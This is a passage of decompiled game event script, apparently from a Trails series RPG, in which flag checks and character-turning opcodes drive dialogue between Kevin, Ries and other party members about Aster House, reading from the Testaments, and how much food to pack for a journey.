Jc((scpexpr(EXPR_TEST_SCENA_FLAGS, MakeScenarioFlags(0x580, 0)), scpexpr(EXPR_END)), "loc_837")
SetChrFlags(0xFE, 0x10)
TalkBegin(0xFE)
OP_51(0x109, 0x5, (scpexpr(EXPR_GET_CHR_WORK, 0xFE, 0x4), scpexpr(EXPR_STUB), scpexpr(EXPR_END)))
OP_51(0xFE, 0x5, (scpexpr(EXPR_GET_CHR_WORK, 0xFE, 0x4), scpexpr(EXPR_STUB), scpexpr(EXPR_END)))
TalkBegin(0xFE)
ClearChrFlags(0xFE, 0x10)
TurnDirection(0xFE, 0x109, 0)
OP_51(0xFE, 0x4, (scpexpr(EXPR_GET_CHR_WORK, 0xFE, 0x4), scpexpr(EXPR_PUSH_LONG, 0x168), scpexpr(EXPR_ADD), scpexpr(EXPR_PUSH_LONG, 0x168), scpexpr(EXPR_IMOD), scpexpr(EXPR_STUB), scpexpr(EXPR_END)))
OP_51(0xFE, 0x4, (scpexpr(EXPR_GET_CHR_WORK, 0xFE, 0x4), scpexpr(EXPR_PUSH_LONG, 0x168), scpexpr(EXPR_ADD), scpexpr(EXPR_GET_CHR_WORK, 0xFE, 0x5), scpexpr(EXPR_SUB), scpexpr(EXPR_STUB), scpexpr(EXPR_END)))
OP_51(0xFE, 0x5, (scpexpr(EXPR_GET_CHR_WORK, 0xFE, 0x4), scpexpr(EXPR_PUSH_LONG, 0xB4), scpexpr(EXPR_IDIV), scpexpr(EXPR_STUB), scpexpr(EXPR_END)))
Jc((scpexpr(EXPR_GET_CHR_WORK, 0xFE, 0x4), scpexpr(EXPR_PUSH_LONG, 0x2D), scpexpr(EXPR_LEQ), scpexpr(EXPR_GET_CHR_WORK, 0xFE, 0x4), scpexpr(EXPR_PUSH_LONG, 0x13B), scpexpr(EXPR_GE), scpexpr(EXPR_GET_CHR_WORK, 0xFE, 0x4), scpexpr(EXPR_PUSH_LONG, 0x195), scpexpr(EXPR_LEQ), scpexpr(EXPR_NEQUZ_I64), scpexpr(EXPR_OR), scpexpr(EXPR_GET_CHR_WORK, 0xFE, 0x4), scpexpr(EXPR_PUSH_LONG, 0x2A3), scpexpr(EXPR_GE), scpexpr(EXPR_OR), scpexpr(EXPR_END)), "loc_640")
Jump("loc_682")
label("loc_640")
Jc((scpexpr(EXPR_GET_CHR_WORK, 0xFE, 0x5), scpexpr(EXPR_PUSH_LONG, 0x1), scpexpr(EXPR_LSS), scpexpr(EXPR_END)), "loc_65C")
OP_51(0xFE, 0x8, (scpexpr(EXPR_PUSH_LONG, 0x2), scpexpr(EXPR_STUB), scpexpr(EXPR_END)))
Jump("loc_682")
label("loc_65C")
Jc((scpexpr(EXPR_GET_CHR_WORK, 0xFE, 0x5), scpexpr(EXPR_PUSH_LONG, 0x2), scpexpr(EXPR_GTR), scpexpr(EXPR_END)), "loc_678")
OP_51(0xFE, 0x8, (scpexpr(EXPR_PUSH_LONG, 0x1), scpexpr(EXPR_STUB), scpexpr(EXPR_END)))
Jump("loc_682")
label("loc_678")
OP_51(0xFE, 0x8, (scpexpr(EXPR_GET_CHR_WORK, 0xFE, 0x5), scpexpr(EXPR_STUB), scpexpr(EXPR_END)))
label("loc_682")
OP_51(0xFE, 0x4, (scpexpr(EXPR_GET_CHR_WORK, 0x109, 0x5), scpexpr(EXPR_STUB), scpexpr(EXPR_END)))
OP_51(0x109, 0x5, (scpexpr(EXPR_PUSH_LONG, 0x0), scpexpr(EXPR_STUB), scpexpr(EXPR_END)))
OP_51(0xFE, 0x5, (scpexpr(EXPR_PUSH_LONG, 0x0), scpexpr(EXPR_STUB), scpexpr(EXPR_END)))
SetChrFlags(0xFE, 0x10)
Jc((scpexpr(EXPR_TEST_SCENA_FLAGS, MakeScenarioFlags(0x1, 3)), scpexpr(EXPR_EQUZ), scpexpr(EXPR_END)), "loc_786")
ChrTalk( #8
0x11,
(
"#1446FKevin, you know as well as I do that you'll need\x01",
"me with you to go inside Aster House.\x02\x03",
"#1801FYou're not kicking me off the team on purpose,\x01",
"are you?\x02",
)
)
CloseMessageWindow()
ChrTalk( #9
0x109,
"#1077FD-Don't be silly!\x02",
)
CloseMessageWindow()
ChrTalk( #10
0x11,
"#1801F*stare*\x02",
)
CloseMessageWindow()
OP_A2(0xB)
Jump("loc_827")
label("loc_786")
ChrTalk( #11
0x11,
(
"#1446FKevin, you know as well as I do that you'll need\x01",
"me with you to go inside Aster House.\x02\x03",
"#1801FYou're not kicking me off the team on purpose,\x01",
"are you?\x02",
)
)
CloseMessageWindow()
label("loc_827")
SetChrSubChip(0xFE, 0)
ClearChrFlags(0xFE, 0x10)
TalkEnd(0xFE)
Jump("loc_12ED")
label("loc_837")
Jc((scpexpr(EXPR_TEST_SCENA_FLAGS, MakeScenarioFlags(0x565, 4)), scpexpr(EXPR_END)), "loc_B70")
SetChrFlags(0xFE, 0x10)
TalkBegin(0xFE)
Jc((scpexpr(EXPR_TEST_SCENA_FLAGS, MakeScenarioFlags(0x1, 3)), scpexpr(EXPR_EQUZ), scpexpr(EXPR_END)), "loc_A37")
ChrTalk( #12
0x109,
"#1065FUmm... Ries?\x02",
)
CloseMessageWindow()
OP_62(0xFE, 0x0, 2000, 0x0, 0x1, 0xFA, 0x2)
OP_22(0x26, 0x0, 0x64)
Sleep(1000)
OP_51(0x109, 0x5, (scpexpr(EXPR_GET_CHR_WORK, 0xFE, 0x4), scpexpr(EXPR_STUB), scpexpr(EXPR_END)))
OP_51(0xFE, 0x5, (scpexpr(EXPR_GET_CHR_WORK, 0xFE, 0x4), scpexpr(EXPR_STUB), scpexpr(EXPR_END)))
TalkBegin(0xFE)
ClearChrFlags(0xFE, 0x10)
TurnDirection(0xFE, 0x109, 0)
OP_51(0xFE, 0x4, (scpexpr(EXPR_GET_CHR_WORK, 0xFE, 0x4), scpexpr(EXPR_PUSH_LONG, 0x168), scpexpr(EXPR_ADD), scpexpr(EXPR_PUSH_LONG, 0x168), scpexpr(EXPR_IMOD), scpexpr(EXPR_STUB), scpexpr(EXPR_END)))
OP_51(0xFE, 0x4, (scpexpr(EXPR_GET_CHR_WORK, 0xFE, 0x4), scpexpr(EXPR_PUSH_LONG, 0x168), scpexpr(EXPR_ADD), scpexpr(EXPR_GET_CHR_WORK, 0xFE, 0x5), scpexpr(EXPR_SUB), scpexpr(EXPR_STUB), scpexpr(EXPR_END)))
OP_51(0xFE, 0x5, (scpexpr(EXPR_GET_CHR_WORK, 0xFE, 0x4), scpexpr(EXPR_PUSH_LONG, 0xB4), scpexpr(EXPR_IDIV), scpexpr(EXPR_STUB), scpexpr(EXPR_END)))
Jc((scpexpr(EXPR_GET_CHR_WORK, 0xFE, 0x4), scpexpr(EXPR_PUSH_LONG, 0x2D), scpexpr(EXPR_LEQ), scpexpr(EXPR_GET_CHR_WORK, 0xFE, 0x4), scpexpr(EXPR_PUSH_LONG, 0x13B), scpexpr(EXPR_GE), scpexpr(EXPR_GET_CHR_WORK, 0xFE, 0x4), scpexpr(EXPR_PUSH_LONG, 0x195), scpexpr(EXPR_LEQ), scpexpr(EXPR_NEQUZ_I64), scpexpr(EXPR_OR), scpexpr(EXPR_GET_CHR_WORK, 0xFE, 0x4), scpexpr(EXPR_PUSH_LONG, 0x2A3), scpexpr(EXPR_GE), scpexpr(EXPR_OR), scpexpr(EXPR_END)), "loc_912")
Jump("loc_954")
label("loc_912")
Jc((scpexpr(EXPR_GET_CHR_WORK, 0xFE, 0x5), scpexpr(EXPR_PUSH_LONG, 0x1), scpexpr(EXPR_LSS), scpexpr(EXPR_END)), "loc_92E")
OP_51(0xFE, 0x8, (scpexpr(EXPR_PUSH_LONG, 0x2), scpexpr(EXPR_STUB), scpexpr(EXPR_END)))
Jump("loc_954")
label("loc_92E")
Jc((scpexpr(EXPR_GET_CHR_WORK, 0xFE, 0x5), scpexpr(EXPR_PUSH_LONG, 0x2), scpexpr(EXPR_GTR), scpexpr(EXPR_END)), "loc_94A")
OP_51(0xFE, 0x8, (scpexpr(EXPR_PUSH_LONG, 0x1), scpexpr(EXPR_STUB), scpexpr(EXPR_END)))
Jump("loc_954")
label("loc_94A")
OP_51(0xFE, 0x8, (scpexpr(EXPR_GET_CHR_WORK, 0xFE, 0x5), scpexpr(EXPR_STUB), scpexpr(EXPR_END)))
label("loc_954")
OP_51(0xFE, 0x4, (scpexpr(EXPR_GET_CHR_WORK, 0x109, 0x5), scpexpr(EXPR_STUB), scpexpr(EXPR_END)))
OP_51(0x109, 0x5, (scpexpr(EXPR_PUSH_LONG, 0x0), scpexpr(EXPR_STUB), scpexpr(EXPR_END)))
OP_51(0xFE, 0x5, (scpexpr(EXPR_PUSH_LONG, 0x0), scpexpr(EXPR_STUB), scpexpr(EXPR_END)))
SetChrFlags(0xFE, 0x10)
Sleep(200)
ChrTalk( #13
0x11,
"#1802FYes? What is it?\x02",
)
CloseMessageWindow()
ChrTalk( #14
0x109,
(
"#1060FCould you come with me for a bit?\x02\x03",
"#1075FI'll explain why later.\x01",
"Although I probably won't need to.\x02",
)
)
CloseMessageWindow()
ChrTalk( #15
0x11,
(
"#1440F...\x02\x03",
"#1446FOkay. I'll come.\x02",
)
)
CloseMessageWindow()
OP_A2(0xB)
Jump("loc_B60")
label("loc_A37")
OP_51(0x109, 0x5, (scpexpr(EXPR_GET_CHR_WORK, 0xFE, 0x4), scpexpr(EXPR_STUB), scpexpr(EXPR_END)))
OP_51(0xFE, 0x5, (scpexpr(EXPR_GET_CHR_WORK, 0xFE, 0x4), scpexpr(EXPR_STUB), scpexpr(EXPR_END)))
TalkBegin(0xFE)
ClearChrFlags(0xFE, 0x10)
TurnDirection(0xFE, 0x109, 0)
OP_51(0xFE, 0x4, (scpexpr(EXPR_GET_CHR_WORK, 0xFE, 0x4), scpexpr(EXPR_PUSH_LONG, 0x168), scpexpr(EXPR_ADD), scpexpr(EXPR_PUSH_LONG, 0x168), scpexpr(EXPR_IMOD), scpexpr(EXPR_STUB), scpexpr(EXPR_END)))
OP_51(0xFE, 0x4, (scpexpr(EXPR_GET_CHR_WORK, 0xFE, 0x4), scpexpr(EXPR_PUSH_LONG, 0x168), scpexpr(EXPR_ADD), scpexpr(EXPR_GET_CHR_WORK, 0xFE, 0x5), scpexpr(EXPR_SUB), scpexpr(EXPR_STUB), scpexpr(EXPR_END)))
OP_51(0xFE, 0x5, (scpexpr(EXPR_GET_CHR_WORK, 0xFE, 0x4), scpexpr(EXPR_PUSH_LONG, 0xB4), scpexpr(EXPR_IDIV), scpexpr(EXPR_STUB), scpexpr(EXPR_END)))
Jc((scpexpr(EXPR_GET_CHR_WORK, 0xFE, 0x4), scpexpr(EXPR_PUSH_LONG, 0x2D), scpexpr(EXPR_LEQ), scpexpr(EXPR_GET_CHR_WORK, 0xFE, 0x4), scpexpr(EXPR_PUSH_LONG, 0x13B), scpexpr(EXPR_GE), scpexpr(EXPR_GET_CHR_WORK, 0xFE, 0x4), scpexpr(EXPR_PUSH_LONG, 0x195), scpexpr(EXPR_LEQ), scpexpr(EXPR_NEQUZ_I64), scpexpr(EXPR_OR), scpexpr(EXPR_GET_CHR_WORK, 0xFE, 0x4), scpexpr(EXPR_PUSH_LONG, 0x2A3), scpexpr(EXPR_GE), scpexpr(EXPR_OR), scpexpr(EXPR_END)), "loc_AC7")
Jump("loc_B09")
label("loc_AC7")
Jc((scpexpr(EXPR_GET_CHR_WORK, 0xFE, 0x5), scpexpr(EXPR_PUSH_LONG, 0x1), scpexpr(EXPR_LSS), scpexpr(EXPR_END)), "loc_AE3")
OP_51(0xFE, 0x8, (scpexpr(EXPR_PUSH_LONG, 0x2), scpexpr(EXPR_STUB), scpexpr(EXPR_END)))
Jump("loc_B09")
label("loc_AE3")
Jc((scpexpr(EXPR_GET_CHR_WORK, 0xFE, 0x5), scpexpr(EXPR_PUSH_LONG, 0x2), scpexpr(EXPR_GTR), scpexpr(EXPR_END)), "loc_AFF")
OP_51(0xFE, 0x8, (scpexpr(EXPR_PUSH_LONG, 0x1), scpexpr(EXPR_STUB), scpexpr(EXPR_END)))
Jump("loc_B09")
label("loc_AFF")
OP_51(0xFE, 0x8, (scpexpr(EXPR_GET_CHR_WORK, 0xFE, 0x5), scpexpr(EXPR_STUB), scpexpr(EXPR_END)))
label("loc_B09")
OP_51(0xFE, 0x4, (scpexpr(EXPR_GET_CHR_WORK, 0x109, 0x5), scpexpr(EXPR_STUB), scpexpr(EXPR_END)))
OP_51(0x109, 0x5, (scpexpr(EXPR_PUSH_LONG, 0x0), scpexpr(EXPR_STUB), scpexpr(EXPR_END)))
OP_51(0xFE, 0x5, (scpexpr(EXPR_PUSH_LONG, 0x0), scpexpr(EXPR_STUB), scpexpr(EXPR_END)))
SetChrFlags(0xFE, 0x10)
ChrTalk( #16
0x11,
(
"#1445F...\x02\x03",
"#1443FI'm ready whenever you are.\x02",
)
)
CloseMessageWindow()
label("loc_B60")
SetChrSubChip(0xFE, 0)
ClearChrFlags(0xFE, 0x10)
TalkEnd(0xFE)
Jump("loc_12ED")
label("loc_B70")
Jc((scpexpr(EXPR_TEST_SCENA_FLAGS, MakeScenarioFlags(0x565, 3)), scpexpr(EXPR_END)), "loc_10AA")
Jc((scpexpr(EXPR_TEST_SCENA_FLAGS, MakeScenarioFlags(0x4CC, 4)), scpexpr(EXPR_EQUZ), scpexpr(EXPR_END)), "loc_C47")
Jc((scpexpr(EXPR_EXEC_OP, "OP_42(0x6)"), scpexpr(EXPR_PUSH_LONG, 0x1), scpexpr(EXPR_NEG), scpexpr(EXPR_NEQ), scpexpr(EXPR_END)), "loc_C40")
Jc((scpexpr(EXPR_EXEC_OP, "OP_42(0x9)"), scpexpr(EXPR_PUSH_LONG, 0x1), scpexpr(EXPR_NEG), scpexpr(EXPR_NEQ), scpexpr(EXPR_END)), "loc_C0E")
SetChrFlags(0xFE, 0x10)
TalkBegin(0xFE)
ChrTalk( #17
0x11,
(
"#1445F(Leonhardt the Bladelord...)\x02\x03",
"#1446F(He sounded like he knew Rufina, too...but how?)\x02",
)
)
CloseMessageWindow()
ClearChrFlags(0xFE, 0x10)
TalkEnd(0xFE)
Jump("loc_C3D")
label("loc_C0E")
SetChrFlags(0xFE, 0x10)
TalkBegin(0xFE)
ChrTalk( #18
0x11,
(
"#1446F...\x02\x03",
"#1445FI see...\x02",
)
)
CloseMessageWindow()
ClearChrFlags(0xFE, 0x10)
TalkEnd(0xFE)
label("loc_C3D")
Jump("loc_C44")
label("loc_C40")
Call(5, 8)
label("loc_C44")
Jump("loc_10A7")
label("loc_C47")
RunExpression(0x2, (scpexpr(EXPR_GET_CHR_WORK, 0xFE, 0x8), scpexpr(EXPR_STUB), scpexpr(EXPR_END)))
Jc((scpexpr(EXPR_TEST_SCENA_FLAGS, MakeScenarioFlags(0x1, 3)), scpexpr(EXPR_EQUZ), scpexpr(EXPR_END)), "loc_E88")
Jc((scpexpr(EXPR_TEST_SCENA_FLAGS, MakeScenarioFlags(0x2, 0)), scpexpr(EXPR_END)), "loc_CFB")
SetChrFlags(0xFE, 0x10)
TalkBegin(0xFE)
ChrTalk( #19
0x11,
(
"#1447F#32WThe droplets from the spirits called forth\x01",
"a morning mist in the forest.\x02\x03",
"And by that spring, seven bells gathered...#20W\x02",
)
)
CloseMessageWindow()
ClearChrFlags(0xFE, 0x10)
TalkEnd(0xFE)
Jump("loc_E82")
label("loc_CFB")
OP_51(0x0, 0x5, (scpexpr(EXPR_GET_CHR_WORK, 0xFE, 0x4), scpexpr(EXPR_STUB), scpexpr(EXPR_END)))
OP_51(0xFE, 0x5, (scpexpr(EXPR_GET_CHR_WORK, 0xFE, 0x4), scpexpr(EXPR_STUB), scpexpr(EXPR_END)))
TalkBegin(0xFE)
ClearChrFlags(0xFE, 0x10)
TurnDirection(0xFE, 0x0, 0)
OP_51(0xFE, 0x4, (scpexpr(EXPR_GET_CHR_WORK, 0xFE, 0x4), scpexpr(EXPR_PUSH_LONG, 0x168), scpexpr(EXPR_ADD), scpexpr(EXPR_PUSH_LONG, 0x168), scpexpr(EXPR_IMOD), scpexpr(EXPR_STUB), scpexpr(EXPR_END)))
OP_51(0xFE, 0x4, (scpexpr(EXPR_GET_CHR_WORK, 0xFE, 0x4), scpexpr(EXPR_PUSH_LONG, 0x168), scpexpr(EXPR_ADD), scpexpr(EXPR_GET_CHR_WORK, 0xFE, 0x5), scpexpr(EXPR_SUB), scpexpr(EXPR_STUB), scpexpr(EXPR_END)))
OP_51(0xFE, 0x5, (scpexpr(EXPR_GET_CHR_WORK, 0xFE, 0x4), scpexpr(EXPR_PUSH_LONG, 0xB4), scpexpr(EXPR_IDIV), scpexpr(EXPR_STUB), scpexpr(EXPR_END)))
Jc((scpexpr(EXPR_GET_CHR_WORK, 0xFE, 0x4), scpexpr(EXPR_PUSH_LONG, 0x2D), scpexpr(EXPR_LEQ), scpexpr(EXPR_GET_CHR_WORK, 0xFE, 0x4), scpexpr(EXPR_PUSH_LONG, 0x13B), scpexpr(EXPR_GE), scpexpr(EXPR_GET_CHR_WORK, 0xFE, 0x4), scpexpr(EXPR_PUSH_LONG, 0x195), scpexpr(EXPR_LEQ), scpexpr(EXPR_NEQUZ_I64), scpexpr(EXPR_OR), scpexpr(EXPR_GET_CHR_WORK, 0xFE, 0x4), scpexpr(EXPR_PUSH_LONG, 0x2A3), scpexpr(EXPR_GE), scpexpr(EXPR_OR), scpexpr(EXPR_END)), "loc_D8B")
Jump("loc_DCD")
label("loc_D8B")
Jc((scpexpr(EXPR_GET_CHR_WORK, 0xFE, 0x5), scpexpr(EXPR_PUSH_LONG, 0x1), scpexpr(EXPR_LSS), scpexpr(EXPR_END)), "loc_DA7")
OP_51(0xFE, 0x8, (scpexpr(EXPR_PUSH_LONG, 0x2), scpexpr(EXPR_STUB), scpexpr(EXPR_END)))
Jump("loc_DCD")
label("loc_DA7")
Jc((scpexpr(EXPR_GET_CHR_WORK, 0xFE, 0x5), scpexpr(EXPR_PUSH_LONG, 0x2), scpexpr(EXPR_GTR), scpexpr(EXPR_END)), "loc_DC3")
OP_51(0xFE, 0x8, (scpexpr(EXPR_PUSH_LONG, 0x1), scpexpr(EXPR_STUB), scpexpr(EXPR_END)))
Jump("loc_DCD")
label("loc_DC3")
OP_51(0xFE, 0x8, (scpexpr(EXPR_GET_CHR_WORK, 0xFE, 0x5), scpexpr(EXPR_STUB), scpexpr(EXPR_END)))
label("loc_DCD")
OP_51(0xFE, 0x4, (scpexpr(EXPR_GET_CHR_WORK, 0x0, 0x5), scpexpr(EXPR_STUB), scpexpr(EXPR_END)))
OP_51(0x0, 0x5, (scpexpr(EXPR_PUSH_LONG, 0x0), scpexpr(EXPR_STUB), scpexpr(EXPR_END)))
OP_51(0xFE, 0x5, (scpexpr(EXPR_PUSH_LONG, 0x0), scpexpr(EXPR_STUB), scpexpr(EXPR_END)))
SetChrFlags(0xFE, 0x10)
ChrTalk( #20
0x11,
(
"#1448FPerhaps this would be a good time to read\x01",
"a story from one of the Testaments.\x02\x03",
"#1442FI am a sister of the church, after all.\x02",
)
)
CloseMessageWindow()
SetChrSubChip(0xFE, 0)
TalkEnd(0xFE)
label("loc_E82")
OP_A2(0xB)
Jump("loc_109E")
label("loc_E88")
Jc((scpexpr(EXPR_TEST_SCENA_FLAGS, MakeScenarioFlags(0x2, 0)), scpexpr(EXPR_END)), "loc_F17")
SetChrFlags(0xFE, 0x10)
TalkBegin(0xFE)
ChrTalk( #21
0x11,
(
"#1447F#32WMay the two of them rest in peace.\x02\x03",
"#1442FAnd may all those who live have courage\x01",
"and be blessed.#20W\x02",
)
)
CloseMessageWindow()
ClearChrFlags(0xFE, 0x10)
TalkEnd(0xFE)
Jump("loc_109E")
label("loc_F17")
OP_51(0x0, 0x5, (scpexpr(EXPR_GET_CHR_WORK, 0xFE, 0x4), scpexpr(EXPR_STUB), scpexpr(EXPR_END)))
OP_51(0xFE, 0x5, (scpexpr(EXPR_GET_CHR_WORK, 0xFE, 0x4), scpexpr(EXPR_STUB), scpexpr(EXPR_END)))
TalkBegin(0xFE)
ClearChrFlags(0xFE, 0x10)
TurnDirection(0xFE, 0x0, 0)
OP_51(0xFE, 0x4, (scpexpr(EXPR_GET_CHR_WORK, 0xFE, 0x4), scpexpr(EXPR_PUSH_LONG, 0x168), scpexpr(EXPR_ADD), scpexpr(EXPR_PUSH_LONG, 0x168), scpexpr(EXPR_IMOD), scpexpr(EXPR_STUB), scpexpr(EXPR_END)))
OP_51(0xFE, 0x4, (scpexpr(EXPR_GET_CHR_WORK, 0xFE, 0x4), scpexpr(EXPR_PUSH_LONG, 0x168), scpexpr(EXPR_ADD), scpexpr(EXPR_GET_CHR_WORK, 0xFE, 0x5), scpexpr(EXPR_SUB), scpexpr(EXPR_STUB), scpexpr(EXPR_END)))
OP_51(0xFE, 0x5, (scpexpr(EXPR_GET_CHR_WORK, 0xFE, 0x4), scpexpr(EXPR_PUSH_LONG, 0xB4), scpexpr(EXPR_IDIV), scpexpr(EXPR_STUB), scpexpr(EXPR_END)))
Jc((scpexpr(EXPR_GET_CHR_WORK, 0xFE, 0x4), scpexpr(EXPR_PUSH_LONG, 0x2D), scpexpr(EXPR_LEQ), scpexpr(EXPR_GET_CHR_WORK, 0xFE, 0x4), scpexpr(EXPR_PUSH_LONG, 0x13B), scpexpr(EXPR_GE), scpexpr(EXPR_GET_CHR_WORK, 0xFE, 0x4), scpexpr(EXPR_PUSH_LONG, 0x195), scpexpr(EXPR_LEQ), scpexpr(EXPR_NEQUZ_I64), scpexpr(EXPR_OR), scpexpr(EXPR_GET_CHR_WORK, 0xFE, 0x4), scpexpr(EXPR_PUSH_LONG, 0x2A3), scpexpr(EXPR_GE), scpexpr(EXPR_OR), scpexpr(EXPR_END)), "loc_FA7")
Jump("loc_FE9")
label("loc_FA7")
Jc((scpexpr(EXPR_GET_CHR_WORK, 0xFE, 0x5), scpexpr(EXPR_PUSH_LONG, 0x1), scpexpr(EXPR_LSS), scpexpr(EXPR_END)), "loc_FC3")
OP_51(0xFE, 0x8, (scpexpr(EXPR_PUSH_LONG, 0x2), scpexpr(EXPR_STUB), scpexpr(EXPR_END)))
Jump("loc_FE9")
label("loc_FC3")
Jc((scpexpr(EXPR_GET_CHR_WORK, 0xFE, 0x5), scpexpr(EXPR_PUSH_LONG, 0x2), scpexpr(EXPR_GTR), scpexpr(EXPR_END)), "loc_FDF")
OP_51(0xFE, 0x8, (scpexpr(EXPR_PUSH_LONG, 0x1), scpexpr(EXPR_STUB), scpexpr(EXPR_END)))
Jump("loc_FE9")
label("loc_FDF")
OP_51(0xFE, 0x8, (scpexpr(EXPR_GET_CHR_WORK, 0xFE, 0x5), scpexpr(EXPR_STUB), scpexpr(EXPR_END)))
label("loc_FE9")
OP_51(0xFE, 0x4, (scpexpr(EXPR_GET_CHR_WORK, 0x0, 0x5), scpexpr(EXPR_STUB), scpexpr(EXPR_END)))
OP_51(0x0, 0x5, (scpexpr(EXPR_PUSH_LONG, 0x0), scpexpr(EXPR_STUB), scpexpr(EXPR_END)))
OP_51(0xFE, 0x5, (scpexpr(EXPR_PUSH_LONG, 0x0), scpexpr(EXPR_STUB), scpexpr(EXPR_END)))
SetChrFlags(0xFE, 0x10)
ChrTalk( #22
0x11,
(
"#1448FPerhaps this would be a good time to read\x01",
"a story from one of the Testaments.\x02\x03",
"#1442FI am a sister of the church, after all.\x02",
)
)
CloseMessageWindow()
SetChrSubChip(0xFE, 0)
TalkEnd(0xFE)
label("loc_109E")
OP_51(0xFE, 0x8, (scpexpr(EXPR_GET_RESULT, 0x2), scpexpr(EXPR_STUB), scpexpr(EXPR_END)))
label("loc_10A7")
Jump("loc_12ED")
label("loc_10AA")
Jc((scpexpr(EXPR_TEST_SCENA_FLAGS, MakeScenarioFlags(0x564, 0)), scpexpr(EXPR_END)), "loc_10B4")
Jump("loc_12ED")
label("loc_10B4")
Jc((scpexpr(EXPR_TEST_SCENA_FLAGS, MakeScenarioFlags(0x562, 5)), scpexpr(EXPR_END)), "loc_1197")
Jc((scpexpr(EXPR_TEST_SCENA_FLAGS, MakeScenarioFlags(0x4CC, 3)), scpexpr(EXPR_EQUZ), scpexpr(EXPR_EXEC_OP, "OP_42(0xF)"), scpexpr(EXPR_PUSH_LONG, 0x1), scpexpr(EXPR_NEG), scpexpr(EXPR_EQU), scpexpr(EXPR_NEQUZ_I64), scpexpr(EXPR_END)), "loc_10D5")
Call(3, 2)
Jump("loc_1194")
label("loc_10D5")
SetChrFlags(0xFE, 0x10)
TalkBegin(0xFE)
Jc((scpexpr(EXPR_TEST_SCENA_FLAGS, MakeScenarioFlags(0x1, 3)), scpexpr(EXPR_EQUZ), scpexpr(EXPR_END)), "loc_1158")
ChrTalk( #23
0x11,
"#1445F...\x02",
)
CloseMessageWindow()
ChrTalk( #24
0x109,
"#1079FSomething wrong, Ries?\x02",
)
CloseMessageWindow()
ChrTalk( #25
0x11,
"#1446F...No. It's nothing.\x02",
)
CloseMessageWindow()
OP_62(0x109, 0x0, 2000, 0x0, 0x1, 0xFA, 0x2)
OP_22(0x26, 0x0, 0x64)
Sleep(1000)
OP_A2(0xB)
Jump("loc_118C")
label("loc_1158")
ChrTalk( #26
0x11,
(
"#1445F...\x02\x03",
"(Why did both Kevin and Rufina...?)\x02",
)
)
CloseMessageWindow()
label("loc_118C")
ClearChrFlags(0xFE, 0x10)
TalkEnd(0xFE)
label("loc_1194")
Jump("loc_12ED")
label("loc_1197")
Jc((scpexpr(EXPR_TEST_SCENA_FLAGS, MakeScenarioFlags(0x561, 0)), scpexpr(EXPR_END)), "loc_12ED")
OP_63(0xFE)
Jc((scpexpr(EXPR_TEST_SCENA_FLAGS, MakeScenarioFlags(0x1, 3)), scpexpr(EXPR_EQUZ), scpexpr(EXPR_END)), "loc_124A")
SetChrFlags(0xFE, 0x10)
TalkBegin(0xFE)
ChrTalk( #27
0x11,
(
"#1447F#40W...#20W\x02\x03",
"#1442FAhh...\x02",
)
)
CloseMessageWindow()
OP_62(0xFE, 0x0, 2000, 0x2, 0x7, 0x50, 0x1)
OP_22(0x27, 0x0, 0x64)
Sleep(1000)
SetChrChipByIndex(0xFE, 2)
SetChrSubChip(0xFE, 0)
OP_62(0xFE, 0x0, 2000, 0x28, 0x2B, 0x64, 0x3)
TurnDirection(0xFE, 0x0, 800)
Sleep(200)
ChrTalk( #28
0x11,
"#1802FWh-What is it?!\x02",
)
CloseMessageWindow()
TalkEnd(0xFE)
ClearChrFlags(0xFE, 0x10)
OP_43(0xFE, 0x0, 0x0, 0xD)
OP_A2(0xB)
Jump("loc_12ED")
label("loc_124A")
TalkBegin(0xFE)
ChrTalk( #29
0x11,
(
"#1800F*cough*\x02\x03",
"The Testaments exist to bring peace to the\x01",
"hearts of Aidios' children.\x02\x03",
"#1805FWould you like me to read you an excerpt\x01",
"from them?\x02",
)
)
CloseMessageWindow()
TalkEnd(0xFE)
OP_43(0xFE, 0x0, 0x0, 0xD)
label("loc_12ED")
Return()
# Function_2_AC end
def Function_3_12EE(): pass
label("Function_3_12EE")
Jc((scpexpr(EXPR_TEST_SCENA_FLAGS, MakeScenarioFlags(0x584, 0)), scpexpr(EXPR_END)), "loc_15AE")
Jc((scpexpr(EXPR_TEST_SCENA_FLAGS, MakeScenarioFlags(0x0, 7)), scpexpr(EXPR_EQUZ), scpexpr(EXPR_END)), "loc_140A")
TalkBegin(0xFE)
ChrTalk( #30
0x1E,
(
"#1008FIt's gonna be a long journey, right?\x02\x03",
"#1017FSo we'll probably get hungry on the way.\x01",
"And if we don't have any food with us,\x01",
"we're gonna be in biiig trouble!\x02",
)
)
CloseMessageWindow()
Jc((scpexpr(EXPR_EXEC_OP, "OP_42(0xE)"), scpexpr(EXPR_PUSH_LONG, 0x1), scpexpr(EXPR_NEG), scpexpr(EXPR_NEQ), scpexpr(EXPR_END)), "loc_1401")
ChrTalk( #31
0x10F,
"#1932F...I like the way you think.\x02",
)
CloseMessageWindow()
Jc((scpexpr(EXPR_EXEC_OP, "OP_42(0x8)"), scpexpr(EXPR_PUSH_LONG, 0x1), scpexpr(EXPR_NEG), scpexpr(EXPR_NEQ), scpexpr(EXPR_END)), "loc_1401")
ChrTalk( #32
0x109,
"#1066FHahaha...\x02",
)
CloseMessageWindow()
label("loc_1401")
OP_A2(0x7)
TalkEnd(0xFE)
Jump("loc_15AB")
label("loc_140A")
SetChrFlags(0xFE, 0x10)
TalkBegin(0xFE)
ChrTalk( #33
0x1E,
(
"#1015FUmm... Celeste says she's not going to need any,\x01",
"so that leaves, like, what?\x02\x03",
"Enough food for 16 people, I guess?\x02",
)
)
CloseMessageWindow()
Jc((scpexpr(EXPR_EXEC_OP, "OP_42(0xE)"), scpexpr(EXPR_PUSH_LONG, 0x1), scpexpr(EXPR_NEG), scpexpr(EXPR_NEQ), scpexpr(EXPR_END)), "loc_15A3")
ChrTalk( #34
0x10F,
(
"#1932F...I think you should bring enough for 18.\x02\x03",
"#1938FI need about three people's worth of it.\x02",
)
)
CloseMessageWindow()
TurnDirection(0x1E, 0x10F, 0)
SetChrSubChip(0xFE, 0)
ChrTalk( #35
0x1E,
(
"#1004FF-For real...?\x02\x03",
"#1006FOkay, then!\x02",
)
)
CloseMessageWindow()
Jc((scpexpr(EXPR_EXEC_OP, "OP_42(0x8)"), scpexpr(EXPR_PUSH_LONG, 0x1), scpexpr(EXPR_NEG), scpexpr(EXPR_NEQ), scpexpr(EXPR_END)), "loc_15A3")
ChrTalk( #36
0x109,
(
"#1068F(I hope Gilbert's got a small stomach... \x01",
"Sounds like he's gettin' jack all.)\x02",
)
)
CloseMessageWindow()
label("loc_15A3")
ClearChrFlags(0xFE, 0x10)
TalkEnd(0xFE)
label("loc_15AB")
Jump("loc_1982")
label("loc_15AE")
